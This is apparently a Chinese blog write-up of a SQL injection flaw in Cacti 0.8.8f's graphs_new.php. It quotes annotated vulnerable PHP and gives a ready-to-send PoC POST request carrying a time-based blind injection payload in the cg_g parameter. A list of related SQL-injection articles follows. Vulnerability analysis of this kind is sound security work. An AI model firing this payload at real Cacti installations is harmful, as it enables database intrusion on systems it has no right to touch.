Cacti是一套网络流量监测图形分析工具。它有非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结 构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大。

graphs_new.phpfunction form_save() {

if (isset($_POST["save_component_graph"])) {

/* summarize the 'create graph from host template/snmp index' stuff into an array */

while (list($var, $val) = each($_POST)) {

if (preg_match('/^cg_(\d+)$/', $var, $matches)) {

$selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;

//cg_g is not filtered

}elseif (preg_match('/^cg_g$/', $var)) {

if ($_POST["cg_g"] > 0) {

$selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true; //给数组赋值

}

}elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) {

$selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;

}

}

if (isset($selected_graphs)) {

host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);//调用漏洞函数

exit;

}

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);

}

if (isset($_POST["save_component_new_graphs"])) {

host_new_graphs_save();

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);

}

}

function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {

/* we use object buffering on this page to allow redirection to another page if no

fields are actually drawn */

ob_start();

include_once("./include/top_header.php");

print "

\n";

$snmp_query_id = 0;

$num_output_fields = array();

while (list($form_type, $form_array) = each($selected_graphs_array)) {//便利数组

while (list($form_id1, $form_array2) = each($form_array)) {//继续便利数组,将数组中的key提取出来作为form_id1,form_id2

if ($form_type == "cg") {

$graph_template_id = $form_id1; //赋值

//sql injection in graph_template_id

html_start_box("Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");//带入查询

}elseif ($form_type == "sg") {

while (list($form_id2, $form_array3) = each($form_array2)) {

/* ================= input validation ================= */

input_validate_input_number($snmp_query_id);

/* ==================================================== */

$snmp_query_id = $form_id1;

$snmp_query_graph_id = $form_id2;

POCPOST /cacti/graphs_new.php HTTP/1.1

Host: 192.168.217.133

Content-Type: application/x-www-form-urlencoded

Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2

Content-Length: 189

__csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save

cacti graphs new.php,Cacti 0.8.8f graphs_new.php SQL注入漏洞相关推荐

  1. 本地复现Zabbix v2.2.x, 3.0.0-3.0.3 jsrpc 参数 profileIdx2 SQL 注入漏洞

    靶场地址:http://192.168.253.131:8000/ poc打包后台上传 转载于:https://www.cnblogs.com/Expioit/p/9036725.html

  2. 动网 php v1.0 漏洞,动网论坛dispuser.php页面SQL注入漏洞

    受影响系统: 动网论坛 Dvbbs php 2.0++ 描述: DVBBS是一款Aspsky.Net开发和维护的开放源码ASP Web论坛程序. 在DVBBS的dispuser.php文件中: if( ...

  3. 【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  4. 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  5. 【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  6. 【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  7. php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析

    *世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用: ...

  8. guestbook.php注入,Destoon 6.0 guestbook.php 通用SQL注入漏洞

    作者:phithon 补丁分析 1.jpg (15.43 KB, 下载次数: 107) 2017-1-17 09:52 上传 刚看到今天发布了Destoon 6.0 2017-01-09 更新,用我在 ...

  9. WeiPHP5.0 SQL注入漏洞1

    本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...

最新文章

  1. string 相等 java_java中String相等问题
  2. 终于有人能把Telnet跟SNMP讲明白了
  3. Spring @Autowired 注释
  4. php 避免xss_PHP防止XSS注入
  5. 用C语言操作MySQL数据库
  6. jquery弹出框样式大全_jQuery中w2ui是什么?-前端问答
  7. SqlServer数据库的常用操作-更新中
  8. 什么叫显示动力学_什么叫显示动力学,什么叫隐式动力学分析!
  9. 用并查集合并不同的集合
  10. jQuery直接调用asp.net后台WebMethod方法
  11. 职称计算机ppt2003窍门,PowerPoint2003使用技巧集锦(4)
  12. Chrome 科研神器!去谷歌学术搜到文章,代码链接就能自动展示
  13. 赶紧学会--特别好玩的系统小游戏
  14. bgp状态idle什么原因_BGP - 2,BGP报文和BGP状态(转)
  15. linux将文件前面100行导出,linux中,使用cat、head、tail命令显示文件指定行
  16. 《Blender图解教程:新手入门练习》
  17. ZYNQ开发(三)Linux Vi/Vim编译器
  18. JNLP文件详细说明
  19. H-WORM家族远控木马分析与处置
  20. html报告致谢,论文致谢内容

热门文章

  1. MFC 中Invalidate的使用
  2. win中MD5加密操作
  3. 插本c语言是笔试吗,计算机专插本考试科目有哪些
  4. [权值线段树] Jzoj P4270 魔道研究
  5. u-boot传参数到linux内核供其启动
  6. 创建Hibernate项目与实现一个例子(idea版)
  7. 微信小程序页面跳转、弹出框
  8. 数据仓库的模型设计 A. 数据建模方法论 数据仓库模型设计遵循“自顶向下、逐步求精”的设计原则。 模型设计分为三个阶段: 1,概念模型 对业务的范围和使用,从高度上进行抽象概括,也就是划分主题域。 一
  9. 【C语言】运用easyX——实现实时时钟,给自己的桌面加点料
  10. HNOI2017-伤感之中充满希望